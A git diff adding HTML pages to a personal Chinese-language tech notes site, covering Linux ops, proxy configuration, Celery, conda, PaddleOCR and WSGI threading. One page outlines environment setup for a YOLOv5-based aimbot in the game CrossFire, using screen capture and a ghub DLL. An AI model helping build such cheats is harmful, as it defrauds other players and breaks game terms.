# start_pycharm.sh +export XIM_PROGRAM=fcitx +export XIM=fcitx +export XMODIFIERS=@im=fcitx +export DEPENDS=fcitx +/home/moyechen/pycharm-2022.2.3/bin/pycharm.sh +
无法输入中文
暂时未解决
vmware虚拟机硬盘调整 + + + + + ++ + + diff --git "a/ops/\343\200\220\350\277\220\347\273\264\343\200\221expect.html" "b/ops/\343\200\220\350\277\220\347\273\264\343\200\221expect.html" new file mode 100644 index 0000000..07da28c --- /dev/null +++ "b/ops/\343\200\220\350\277\220\347\273\264\343\200\221expect.html" @@ -0,0 +1,34 @@ + + + + + + + + +vmware虚拟机硬盘调整
vmware 调整硬盘大小
https://www.cnblogs.com/ZHJ0125/p/12904471.html 安装gparted
x11授权 sudo xauth add $(xauth -f ~moyechen/.Xauthority list|tail -1)
如果遇到
+moyechen@moye:~$ sudo xauth add $(xauth -f ~moyechen/.Xauthority list|tail -1) +xauth: timeout in locking authority file /home/moyechen/.Xauthority +xauth: timeout in locking authority file /home/moyechen/.Xauthority + + +
则执行
rm ~/.Xaut* +exit +再次登录时,会提示 +/usr/bin/xauth: file /home/moyechen/.Xauthority does not exist + +然后创建该文件 +
https://superuser.com/questions/315050/xauth-x11-ssh-forwarding-errors-with-xauthority-file-not-writable
最后启动程序
sudo gparted
LVM
https://blog.csdn.net/Fly_1213/article/details/105142427
lvextend -L 80G /dev/mapper/ubuntu--vg-ubuntu--lv
resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv
【运维】expect + + + + + ++ + + diff --git "a/ops/\344\273\243\347\220\206\344\275\277\347\224\250.html" "b/ops/\344\273\243\347\220\206\344\275\277\347\224\250.html" new file mode 100644 index 0000000..b506d27 --- /dev/null +++ "b/ops/\344\273\243\347\220\206\344\275\277\347\224\250.html" @@ -0,0 +1,34 @@ + + + + + + + + +代理使用 + + + + + ++ + + diff --git "a/ops/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html" "b/ops/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html" new file mode 100644 index 0000000..64b7cad --- /dev/null +++ "b/ops/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html" @@ -0,0 +1,34 @@ + + + + + + + + +代理使用
环境变量
Linux
使用socks5 export http_proxy="socks5://127.0.0.1:10808" export https_proxy="socks5://127.0.0.1:10808" 使用http export http_proxy="http://127.0.0.1:10809" export https_proxy="http://127.0.0.1:10809" 指定不使用代理的域名和IP export no_proxy='a.test.com,127.0.0.1,192.168.0.0/16'
Windows
命令行 set http_proxy="http://127.0.0.1:10809" set https_proxy="http://127.0.0.1:10809" 或者在系统设置里设环境变量 http_proxy | http://127.0.0.1:10809 https_proxy | http://127.0.0.1:10809
Ubuntu apt
sudo tee /etc/apt/apt.conf.d/proxy.conf << EOF Acquire { HTTP::proxy "http://127.0.0.1:10809"; HTTPS::proxy "http://127.0.0.1:10809"; } EOF
Git
HTTP方式访问 git config --global http.proxy 'socks5://127.0.0.1:10808' git config --global https.proxy 'socks5://127.0.0.1:10808'
SSH方式访问,以github.com为例 ~/.ssh/config Host github.com # Mac/Ubuntu下,使用socks5 ProxyCommand nc -X 5 -x 127.0.0.1:10808 %h %p
Docker
Ubuntu下修改 /etc/default/docker CentOS下修改 /etc/sysconfig/docker export http_proxy="http://127.0.0.1:10809" export https_proxy="http://127.0.0.1:10809" export no_proxy='a.test.com,127.0.0.1,192.168.0.0/16' 重启docker后,运行docker info检查
Python代码
通过requests模块使用 proxies={ 'http': 'http://127.0.0.1:10809', 'https': 'http://127.0.0.1:10809' }
r = requests.get(url, proxies=proxies)
r = requests.post(url, headers=headers, json=payload, proxies=proxies)
浏览器插件
推荐使用SwitchyOmega,支持Chrome/Edge/Firefox。 首先配置一个场景模式,命名为proxy或任何你喜欢的名字,在里面添加SOCKS5或者HTTP代理,还可以手动添加你不想代理的地址列表,如内网IP段/指定域名等:
在auto switch中添加规则列表,并让规则列表默认走上面配置的proxy场景: https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt
选择auto switch的场景模式,此时只有规则列表里的域名会走代理:
其他
常用包管理器的代理设置:https://github.com/comwrg/package-manager-proxy-settings
硬盘速度测试 + + + + + ++ + + diff --git "a/ops/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html" "b/ops/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html" new file mode 100644 index 0000000..a5bb764 --- /dev/null +++ "b/ops/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html" @@ -0,0 +1,34 @@ + + + + + + + + +网盘与同步 + + + + + ++ + + diff --git "a/ops/\350\264\255\344\271\260\345\217\202\350\200\203.html" "b/ops/\350\264\255\344\271\260\345\217\202\350\200\203.html" new file mode 100644 index 0000000..f43d23b --- /dev/null +++ "b/ops/\350\264\255\344\271\260\345\217\202\350\200\203.html" @@ -0,0 +1,34 @@ + + + + + + + + +网盘与同步
onedrive 个人版 5t 一年40人民币 而且网页版被墙
Seafile 自建网盘
alist 一个展示网盘内容的工具,支持多种云存储
腾讯云服务器自建 一个月30,总共30g
自己家的宽带: +自己的服务器 insync mac上的工具,要付费,可以吧数据同步到本地某个目录 cloudmaster:可以挂载云端硬盘,免费版可以挂载一个, 无法指定目录,固定在/Users/name/Library/CloudStorage/ 目录下
syncthing:p2p,不需自己建
cryptomator: 加密数据后再上传至云盘 https://cryptomator.org/downloads/mac/thanks/
目前的选择:OneDrive
windows
他人智慧
按照分类
国内选云存储确实操心,我也是废了很多时间在这个问题上,但并没有找到一致的解决方案。我个人认为,目前最优方案是分割需求,采取不同的工具:
- 根据内容采用不同的服务,照片就 google photo 或者 icloud。我的照片大多从手机上来,这两者是同步最方便(其他网盘甚至都不能及时保证同步),最省电的。而且万一梯子被墙,大不了就是这两天照片同步不了,不是什么大问题。
图书,pdf,文章我用 evernote。国内外能访问,月 10G,手机电脑客户端都很方便,还能打标签,记笔记,全文搜索。
工作文档坚果云,dropbox。同步速度快,技术可靠。onedrive 的客户端(除 win 外)实在是难用,而且我经常遇到同步失败,可能是本地运营商的问题,也可能是客户端的问题,但总之是没法拿来工作的。而 gdrive 我听同事抱怨过几人合作,文件损坏的情况。工作文档力求可靠,绝对不能出错,而且我这里通常文件不大,所以技术是第一位的。
备份 onedrive + arq 5,前者解决存储,后者解决备份技术,量大便宜。
- 国内国外访问分割开,这个没办法,就算自建也绕不开 wall。所以工作文档,我是国内用坚果云,国外用 dropbox。备份用 onedrive,如果人在国外 gdrive 可能更划算?
希望我的经验能帮到你,我也期待更好的解决方案。
知乎
如果有可靠的梯子,Dropbox绝对称得上佼佼者,我同时用Dropbox,Onedrive,老婆用坚果云同步1万多个科研数据,比较下来还是Dropbox最好用最省心,即使是通过梯子,同步速度也是很快的。目前我的方案是,工作数据通过Dropbox同步,家里群晖NAS通过Cloud Sync跟Dropbox和坚果云再双向同步备份一个,这样手机端就可以随时访问dropbox不用梯子了。然后电脑上其他文件在NAS上定期备份一下,再定期做一下冷备份,我觉得应该差不多了。Dropbox用的Basic免费版,通过各种活动扩容了不少,存工作文档基本够用,后期不行的话考虑开个plus就行。之前Google Drive用来存一些手机导出的照片,因为不占空间,有了NAS,基本也可以停用了。所以,如果要找个坚果云的替代品,公有云里面Dropbox是首选。
购买参考 + + + + + + + + + diff --git "a/python/celery\345\274\202\346\255\245\344\273\273\345\212\241.html" "b/python/celery\345\274\202\346\255\245\344\273\273\345\212\241.html" new file mode 100644 index 0000000..5cee3c2 --- /dev/null +++ "b/python/celery\345\274\202\346\255\245\344\273\273\345\212\241.html" @@ -0,0 +1,78 @@ + + + + + + + + +celery异步任务 + + + + + ++ + + diff --git a/python/cv/conda.html b/python/cv/conda.html new file mode 100644 index 0000000..ae83c3d --- /dev/null +++ b/python/cv/conda.html @@ -0,0 +1,34 @@ + + + + + + + + +celery异步任务
在使用celery时,需要控制异步任务
任务终止有多种情况
- 任务内部错误
- celery被杀死
- 手动结束任务(通过celery控制)
这些需要我们特殊注意
@shared_task(ignore_result=True, time_limit=3600*24) +def scan(task_id, report_id): + + def handle_stop(*args, **kwargs): + pass + # 这里如果需要修改任务状态,则一定需要判断任务是否已结束, + # 停止任务之后保留任务记录, + # 杀死celery会走这里(SIGQUIT), 然后celery给该进程发送指令 + # bug:任务已完成,但是celery进程还在,那么退出celery仍旧会执行handle_stop,因此需要在stop中增加对任务状态的判断。 + # 如果机器断电,肯定走不到这里,所以需要在启动django的时候,将所有运行中的任务修改为失败 + + signal.signal(signal.SIGTERM, handle_stop) # 这里注册是对整个celery worker生效,因此 + try: + openvas_scan(task_id, report_id) + except Exception as e: + with open("/home/bolean/logs/vulscan.los", 'a', encoding='utf8') as f: + f.write("漏洞扫描任务_{}_{}异常结束:handle_stop but in try except\n".format(task_id, report_id)) + logger.warning("handle_stop, but in try except") + handle_stop() + +
异步任务prefork gevent的选择
使用gevent时,遇到问题
+Traceback (most recent call last): + File "/mnt/bolean/venv/lib/python3.10/site-packages/celery/app/trace.py", line 451, in trace_task + R = retval = fun(*args, **kwargs) + File "/mnt/bolean/venv/lib/python3.10/site-packages/celery/app/trace.py", line 734, in __protected_call__ + return self.run(*args, **kwargs) + File "/mnt/bolean/sdp-backend/fuzz_testing/tasks.py", line 496, in task_test_case_result + test_case_obj = FuzzTestingTestCase.objects.get(id=test_case_id) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/manager.py", line 85, in manager_method + return getattr(self.get_queryset(), name)(*args, **kwargs) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 492, in get + num = len(clone) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 302, in __len__ + self._fetch_all() + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 1507, in _fetch_all + self._result_cache = list(self._iterable_class(self)) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 57, in __iter__ + results = compiler.execute_sql( + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/sql/compiler.py", line 1359, in execute_sql + cursor = self.connection.cursor() + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/utils/asyncio.py", line 24, in inner + raise SynchronousOnlyOperation(message) +django.core.exceptions.SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async. + +
也就是说FuzzTestingTestCase.objects.get(id=test_case_id) 这个不能在gevent下执行
但是 这样的命令时可以执行的
models.Host.objects.filter(id=host_id, status=VulHostStatus.RUNNING.value).exists()
环境部署 + + + + + ++ + + diff --git a/python/cv/cuda.html b/python/cv/cuda.html new file mode 100644 index 0000000..990c887 --- /dev/null +++ b/python/cv/cuda.html @@ -0,0 +1,34 @@ + + + + + + + + +环境部署
cuda
nvidia-smi 可以查看
cudaa
conda
科学计算时,使用conda可以方便的部署所需的python环境
conda vs anconda
https://zhuanlan.zhihu.com/p/379321816
安装
使用
查看版本信息 conda -V
创建虚拟环境 conda create -n your_env_name python=x.x
激活 conda active your_env_name
查看已经创建的虚拟环境 conda env list
conda info -e设置国内镜像
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
conda config --set show_channel_urls yes
- 恢复使用国内
conda config --remove-key channels
cuda + + + + + ++ + + diff --git a/python/cv/index.html b/python/cv/index.html new file mode 100644 index 0000000..d6ed169 --- /dev/null +++ b/python/cv/index.html @@ -0,0 +1,34 @@ + + + + + + + + +这里是python/cv + + + + + + + + + diff --git a/python/cv/pytorch.html b/python/cv/pytorch.html new file mode 100644 index 0000000..f81fd09 --- /dev/null +++ b/python/cv/pytorch.html @@ -0,0 +1,34 @@ + + + + + + + + +pytorch + + + + + + + + + diff --git "a/python/cv/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html" "b/python/cv/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html" new file mode 100644 index 0000000..28e058e --- /dev/null +++ "b/python/cv/\345\237\272\344\272\216yolov5\347\232\204cf\350\207\252\347\236\204.html" @@ -0,0 +1,42 @@ + + + + + + + + +基于yolov5的cf自瞄 + + + + + ++ + + diff --git "a/python/cv/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html" "b/python/cv/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html" new file mode 100644 index 0000000..274f646 --- /dev/null +++ "b/python/cv/\351\203\250\347\275\262paddle\346\241\206\346\236\266\344\271\213ocr.html" @@ -0,0 +1,98 @@ + + + + + + + + +基于yolov5的cf自瞄
环境配置
1.安装anconda,创建python3.8的环境
conda create -n py38 python3.8
2.切换到该环境,并下载pytroch>=1.7,使用conda会自动帮我们维护cuda(需要良好的网络) 这里我们使用pytorch2.0.1 pytorch官方
conda activate py38 +conda install pytorch torchvision torchaudio pytorch-cuda=11.8 -c pytorch -c nvidia +
- 安装yolov5相关依赖 访问 https://github.com/ultralytics/yolov5/releases/tag/v7.0 获取yolov5最新源代码,并安装相关依赖 实测python3.11安装失败,确实scipy>=1.4的依赖,因此使用py3.8较好
git clone https://github.com/ultralytics/yolov5.git +cd yolov5 +pip install -r requirements.txt coremltools onnx onnx-simplifier onnxruntime-gpu openvino-dev tensorflow +
获取数据集,标注、训练,获得模型
捕获屏幕,可使用mss,或d3dshot截图(mss库,pyseral库)
pip install pyserial +pip install mss +pip install d3dshot +
- 下载ghub dll
部署paddle框架之ocr + + + + + ++ + + diff --git a/python/django.html b/python/django.html new file mode 100644 index 0000000..b8999a0 --- /dev/null +++ b/python/django.html @@ -0,0 +1,242 @@ + + + + + + + + +部署paddle框架之ocr
步骤
1.下载安装anconda 2. 创建一个环境先
conda create -n paddle_env +conda activate paddle_env +
# 安装FastDpeloy python包(详细文档请参考`部署环境准备`) + +# 约1.2g +pip install fastdeploy-gpu-python -f https://www.paddlepaddle.org.cn/whl/fastdeploy.html + +# 约 3g +conda config --add channels conda-forge && conda install cudatoolkit=11.2 cudnn=8.2 + +# 下载部署示例代码 +git clone https://github.com/PaddlePaddle/FastDeploy.git +cd FastDeploy/examples/vision/ocr/PP-OCR/cpu-gpu/python + +# 如果您希望从PaddleOCR下载示例代码,请运行 +git clone https://github.com/PaddlePaddle/PaddleOCR.git +# 注意:如果当前分支找不到下面的fastdeploy测试代码,请切换到dygraph分支 +git checkout dygraph +cd PaddleOCR/deploy/fastdeploy/cpu-gpu/python + +# 下载PP-OCRv3文字检测模型 +wget https://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_det_infer.tar +tar -xvf ch_PP-OCRv3_det_infer.tar +# 下载文字方向分类器模型 +wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_cls_infer.tar +tar -xvf ch_ppocr_mobile_v2.0_cls_infer.tar +# 下载PP-OCRv3文字识别模型 +wget https://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_rec_infer.tar +tar -xvf ch_PP-OCRv3_rec_infer.tar + +# 下载预测图片与字典文件 +wget https://gitee.com/paddlepaddle/PaddleOCR/raw/release/2.6/doc/imgs/12.jpg +wget https://gitee.com/paddlepaddle/PaddleOCR/raw/release/2.6/ppocr/utils/ppocr_keys_v1.txt + +# 运行部署示例 +# 在CPU上使用Paddle Inference推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend paddle +# 在CPU上使用OenVINO推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend openvino +# 在CPU上使用ONNX Runtime推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend ort +# 在CPU上使用Paddle Lite推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu --backend pplite +# 在GPU上使用Paddle Inference推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend paddle +# 在GPU上使用Paddle TensorRT推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend pptrt +# 在GPU上使用ONNX Runtime推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend ort +# 在GPU上使用Nvidia TensorRT推理 +python infer.py --det_model ch_PP-OCRv3_det_infer --cls_model ch_ppocr_mobile_v2.0_cls_infer --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device gpu --backend trt + +# 同时, FastDeploy提供文字检测,文字分类,文字识别三个模型的单独推理, +# 有需要的用户, 请准备合适的图片, 同时根据自己的需求, 参考infer.py来配置自定义硬件与推理后端. + +# 在CPU上,单独使用文字检测模型部署 +python infer_det.py --det_model ch_PP-OCRv3_det_infer --image 12.jpg --device cpu + +# 在CPU上,单独使用文字方向分类模型部署 +python infer_cls.py --cls_model ch_ppocr_mobile_v2.0_cls_infer --image 12.jpg --device cpu + +# 在CPU上,单独使用文字识别模型部署 +python infer_rec.py --rec_model ch_PP-OCRv3_rec_infer --rec_label_file ppocr_keys_v1.txt --image 12.jpg --device cpu + +
django + + + + + ++ + + diff --git a/python/index.html b/python/index.html new file mode 100644 index 0000000..30c4577 --- /dev/null +++ b/python/index.html @@ -0,0 +1,34 @@ + + + + + + + + +django
作者:PegasusWang 链接:https://www.zhihu.com/question/56472691/answer/292510026 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
简单的说就是服务端监听 每次 accept 一个新的请求后,开一个处理 这个 socket 客户连接。如果你对底层实现原理感兴趣,可以继续看下去,从 socket 编程的角度来解释多线程 server。最后附上一个异步框架工作过程的视频讲解。这里我们自己撸一个简单的多线程 wsgi server 来看下原理,还是需要深入源码和 socket 编程你才能真正理解。 我们从 python 自带的一个 wsgi server 看下如何实现多线程处理请求。首先你需要熟悉下 wsgi。 看一个最简单的 wsgi app:
#!/usr/bin/env python +# -*- coding:utf-8 -*- + + +def application(environ, start_response): + status = '200 OK' + headers = [('Content-Type', 'text/html; charset=utf8')] + + start_response(status, headers) + return [b"<h1>Hello</h1>"] + + +if __name__ == '__main__': + from wsgiref.simple_server import make_server + httpd = make_server('127.0.0.1', 8000, application) + httpd.serve_forever() +
然后用你的开发工具跟进去 make_server 这个函数,看下它的定义:
# lib/python2.7/wsgiref/simple_server.py + +def make_server( + host, port, app, server_class=WSGIServer, handler_class=WSGIRequestHandler +): + """Create a new WSGI server listening on `host` and `port` for `app`""" + server = server_class((host, port), handler_class) + server.set_app(app) + return server + +class WSGIServer(HTTPServer): + + """BaseHTTPServer that implements the Python WSGI protocol""" + + application = None + + def server_bind(self): + """Override server_bind to store the server name.""" + HTTPServer.server_bind(self) + self.setup_environ() + + def setup_environ(self): + # Set up base environment + env = self.base_environ = {} + env['SERVER_NAME'] = self.server_name + env['GATEWAY_INTERFACE'] = 'CGI/1.1' + env['SERVER_PORT'] = str(self.server_port) + env['REMOTE_HOST']='' + env['CONTENT_LENGTH']='' + env['SCRIPT_NAME'] = '' + + def get_app(self): + return self.application + + def set_app(self,application): + self.application = application +
看到这个 WSGIServer 定义了吗,继承了一个 HttpServer。我们再继续追一下其定义:
# lib/python2.7/BaseHTTPServer.py + +class HTTPServer(SocketServer.TCPServer): + + allow_reuse_address = 1 # Seems to make sense in testing environment + + def server_bind(self): + """Override server_bind to store the server name.""" + SocketServer.TCPServer.server_bind(self) + host, port = self.socket.getsockname()[:2] + self.server_name = socket.getfqdn(host) + self.server_port = port +
到这里,我们继续追,看到 TcpServer 定义:
# lib/python2.7/SocketServer.py + +class TCPServer(BaseServer): + """这里我省略了定义""" +
你还可以发现一个 ThreadingTCPServer 类:我们看下它的定义
class ThreadingTCPServer(ThreadingMixIn, TCPServer): + pass +
好了,怎么多线程处理请求呢?看下这个 ThreadingMixIn 类是如何实现的:
class ThreadingMixIn: + """Mix-in class to handle each request in a new thread.""" + + # Decides how threads will act upon termination of the + # main process + daemon_threads = False + + def process_request_thread(self, request, client_address): + """Same as in BaseServer but as a thread. + + In addition, exception handling is done here. + + """ + try: + self.finish_request(request, client_address) + self.shutdown_request(request) + except: + self.handle_error(request, client_address) + self.shutdown_request(request) + + def process_request(self, request, client_address): + """Start a new thread to process the request.""" + t = threading.Thread(target = self.process_request_thread, + args = (request, client_address)) + t.daemon = self.daemon_threads + t.start() +
看到吗,其实就是对于每个新请求,会启动一个新的线程来处理 socket 请求。假如让我们自己实现一个多线程 socket server 应该怎么实现呢?先来写一个简单的单线程 socker echo server:
from socket import * # 偷懒这么写 +s = socket(AF_INET, SOCK_STREAM) +s.bind(("", 9000)) +s.listen(5) +while True: + c, a = s.accept() + print "Received connection from", a + c.send("Hello %s\\n" % a[0]) + c.close() +
你可以用telnet之类的工具连上该端口看效果。 这样一次只能处理一个请求,如果想每次来一个请求用一个线程处理呢?我们可以这样做:
import threading +from socket import * + +def handle_client(c): + # 处理 client 请求 + c.send("Hello\n") + c.close() + return + +s = socket(AF_INET, SOCK_STREAM) +s.bind(("", 9000)) +s.listen(5) +while True: + c, a = s.accept() + t = threading.Thread(target=handle_client, + args=(c,)) +
是不是很简单,这其实就是多线程工作的原理,每次 accept 得到一个新的客户端请求以后开一个线程去处理。当然 socket 编程还是偏底层,我们刚才看到了 python 提供了 SocketServer 模块来简化 socket 编程。我们使用 SocketServer 模块来发送数据:
import SocketServer +import time + +class TimeHandler(SocketServer.BaseRequestHandler): + def handle(self): + # self.request 是一个 client socket 对象 + self.request.sendall(.ctime() + "\n") + +serv = SocketServer.TCPServer(("", 8889), TimeHandler) +serv.serve_forever() +
它的执行原理是这样的:server 等待请求到来对每个 socket 连接,server 创建一个新的 handler 类handle() 方法调用处理 client socket 对象,比如发送数据handle() 方法返回后,连接关闭,同时 handler 实例对象销毁但是这个 server 的处理能力很差,一次只能处理一个请求,我们看下这个模块提供了几个类:TCPServer: 同步的 tcp serverForkingTCPServer: 多进程 tcp serverThreadingTCPServer: 多线程 tcp server怎么实现一个多线程 tcp server 呢?很简单:
# 改成 ThreadingTCPServer 就行了,代码其他部分不动 +serv = SocketServer.ThreadingTCPServer(("",8000),TimeHandler) +serv.serve_forever() + +
这样一来,新的请求就能被新的线程去处理了。我们就通过线程来增强了并发能力,当然线程开销比较大,不如用协程(抽空会写个用协程实现异步的socker server)。 如果你浏览该模块,还能看到两个 Mixin:ForkingMixinThreadingMixIn我们只要继承它们就很容易实现一个多进程或者多线程的 server,比如实现一个多线程的 HTTPServerfrom BaseHTTPServer
import HTTPServer +from SimpleHTTPServer import SimpleHTTPRequestHandler +from SocketServer import ThreadingMixIn + +class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): + pass + +serv = ThreadedHTTPServer(("", 8080), SimpleHTTPRequestHandler) +
好了,看了这么多让我们改造下 Python 自带的 wsgi server 为多线程的:
import time +import SocketServer +import socket +from SimpleHTTPServer import SimpleHTTPRequestHandler +from SocketServer import ThreadingMixIn + + +class HTTPServer(SocketServer.TCPServer): + + allow_reuse_address = 1 # Seems to make sense in testing environment + + def server_bind(self): + """Override server_bind to store the server name.""" + SocketServer.TCPServer.server_bind(self) + host, port = self.socket.getsockname()[:2] + self.server_name = socket.getfqdn(host) + self.server_port = port + + +class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): + pass + + +class ThreadWSGIServer(ThreadedHTTPServer): + + """BaseHTTPServer that implements the Python WSGI protocol""" + + application = None + + def server_bind(self): + """Override server_bind to store the server name.""" + HTTPServer.server_bind(self) + self.setup_environ() + + def setup_environ(self): + # Set up base environment + env = self.base_environ = {} + env['SERVER_NAME'] = self.server_name + env['GATEWAY_INTERFACE'] = 'CGI/1.1' + env['SERVER_PORT'] = str(self.server_port) + env['REMOTE_HOST'] = '' + env['CONTENT_LENGTH'] = '' + env['SCRIPT_NAME'] = '' + + def get_app(self): + return self.application + + def set_app(self, application): + self.application = application + + +def application(environ, start_response): + time.sleep(10) # 注意这里的 sleep + status = '200 OK' + headers = [('Content-Type', 'text/html; charset=utf8')] + + start_response(status, headers) + return [b"<h1>Hello</h1>"] + + +if __name__ == '__main__': + from wsgiref.simple_server import make_server + httpd = make_server('127.0.0.1', 8000, application, server_class=ThreadWSGIServer) + httpd.serve_forever() + +
对了,我们怎么证明这个真是多线程的 wsgi server 了呢,很简单。你看我加了个 sleep(10)。 如果你在之前的单线程 wsgi server 跑,你可以开俩个终端去 curl,curl 完一个赶紧切到另一个 curl 。 单线程你会发现几乎是 10 + 10 秒,但是下边这个多线程 wsgi server 你会发现大概只用10秒,两个请求是并发的(当然我这种测试很 low,你可以随便用一个网络测试工具)。虽然我没看过 django wsgi server 的实现,但是它自己实现的开发服务器原理应该是类似的。如果你能坚持看到这里,是更明白了呢还是更懵了呢?你可以看下PegasusWang/notebooks 这个是手撸 web 框架的教程,看完你就对 wsgi,如何自己写 框架以及 gunicorn 部署有点概念了。最近在学习异步框架的工作原理,感兴趣可以看看,之后还会出个协程版本的。
https://zhuanlan.zhihu.com/p/42044997
这里是python + + + + + + + + + diff --git "a/python/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html" "b/python/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html" new file mode 100644 index 0000000..aaa30d9 --- /dev/null +++ "b/python/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html" @@ -0,0 +1,34 @@ + + + + + + + + +pydantic特殊验证 + + + + + ++ + + diff --git "a/python/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html" "b/python/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html" new file mode 100644 index 0000000..8ad73e0 --- /dev/null +++ "b/python/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html" @@ -0,0 +1,34 @@ + + + + + + + + +pythongui-父子进程与孤儿进程 + + + + + ++ + + diff --git "a/python/python\344\273\273\345\212\241\351\230\237\345\210\227.html" "b/python/python\344\273\273\345\212\241\351\230\237\345\210\227.html" new file mode 100644 index 0000000..a15792e --- /dev/null +++ "b/python/python\344\273\273\345\212\241\351\230\237\345\210\227.html" @@ -0,0 +1,46 @@ + + + + + + + + +pythongui-父子进程与孤儿进程
https://www.cnblogs.com/Tour/p/5180801.html
先介绍一下我的项目,项目的目标是使用一台计算机,通过usb集线板,控制n台手机 其中不同的任务封装为不同的程序,在python gui中通过subprocess.Popen 方法异步调用
这些python程序会通过adb库获取到所有已经连接到的安卓手机,并通过multiprocessing库并行执行相应的任务
这时,有一个需求是停止当前的演示程序,我们知道,通过subprocess.Popen方法可以获取一个进程对象,通过调用kill方法或terminate方法即可杀死进程
但是随之而来的,就是子进程变为孤儿进程,仍在继续执行
通过查阅相关资料,我了解到可以设置deamon=True来使主进程在正常退出时,子进程也退出,但是我这里是中断操作
任务队列 + + + + + ++ + + diff --git "a/python/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html" "b/python/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html" new file mode 100644 index 0000000..38af910 --- /dev/null +++ "b/python/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html" @@ -0,0 +1,58 @@ + + + + + + + + +任务队列
流程
最初版本
1.通过接口获取到今天的数据(.csv)
- 执行程序
aps版本
定义一个定时任务, 然后每天稳定拉取数据,到任务队列中, 程序读取此队列, 并将爬取结果保存到结果队列
四个进程
- 任务获取进程
- 爬虫进程
- 上传进程
- 监控进程
两个队列
- 任务队列
- 结果队列
这种方式看起来非常专业, 但是有时候临时需要跑一部分数据时, 就会很麻烦, 因此我想这在队列这里解决, 从python 自带的队列替换为 redis的list
redis 版本
在将python 的队列更改为redis 后, 我又编写了 redis_push.py , 可以手动将文件中的数据推送到redis 队列中, 非常的好用
但是过了周六周日两天后, 我发现 APScheduler 又出现了bug, 没有按时拉取数据, 我不由得怀疑这个库的稳定性 ,因此我又回到了crontab
crontab 版本
经过了近一个月, 多次的更改,我探究了最适合的方案
需要有以下几个优点
- 可随时跑残缺数据 python run.py file
- 网站变化频繁, 只需修改spider 文件即可, 比较方便
+- source_data/ 原始数据 +- aaa/ 爬虫aaa + -- spider.py 爬虫主体, 仅负责爬取数据 + -- main.py 读取文件, 解析数据, 上传数据等等 + -- data/ 爬到的数据 +- bbb/ + -- spider.py + -- main.py + -- data/ +- download_data.py 拉取原始数据, 使用crontab 例行化 + +
